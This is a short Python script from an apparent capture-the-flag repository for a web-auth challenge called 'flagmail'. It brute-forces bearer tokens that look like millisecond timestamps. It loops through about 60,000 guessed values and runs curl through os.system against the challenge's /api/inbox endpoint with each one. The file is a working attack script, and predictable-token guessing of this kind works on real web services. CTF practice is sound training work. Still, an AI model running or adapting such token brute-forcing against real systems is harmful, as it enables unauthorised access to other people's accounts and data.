Files
OffSec-CTF/web-auth/flagmail/force.py
2026-05-10 20:42:33 +02:00

15 lines
1.3 KiB
Python

import os
import time
token = 1775846743002
payload = f"curl --path-as-is -i -s -k -X $'GET' \
-H $'Host: 4a095ba0-1b44-40a8-8ed1-f8d01aa27cf7.offsec.m0lecon.it:8001' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36' -H $'Authorization: Bearer 1775846743002' -H $'Accept: */*' -H $'Referer: http://4a095ba0-1b44-40a8-8ed1-f8d01aa27cf7.offsec.m0lecon.it:8001/inbox' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
$'http://4a095ba0-1b44-40a8-8ed1-f8d01aa27cf7.offsec.m0lecon.it:8001/api/inbox'"
# os.system(f"{payload} | grep 'messages'")
for i in range(60 * 999):
num = 1775844960000 + i
payload = f"curl --path-as-is -i -s -k -X $'GET' \
-H $'Host: 4a095ba0-1b44-40a8-8ed1-f8d01aa27cf7.offsec.m0lecon.it:8001' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36' -H $'Authorization: Bearer {num}' -H $'Accept: */*' -H $'Referer: http://4a095ba0-1b44-40a8-8ed1-f8d01aa27cf7.offsec.m0lecon.it:8001/inbox' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
$'http://4a095ba0-1b44-40a8-8ed1-f8d01aa27cf7.offsec.m0lecon.it:8001/api/inbox'"
os.system(f"echo 'Date: \n{num}\n' && {payload}")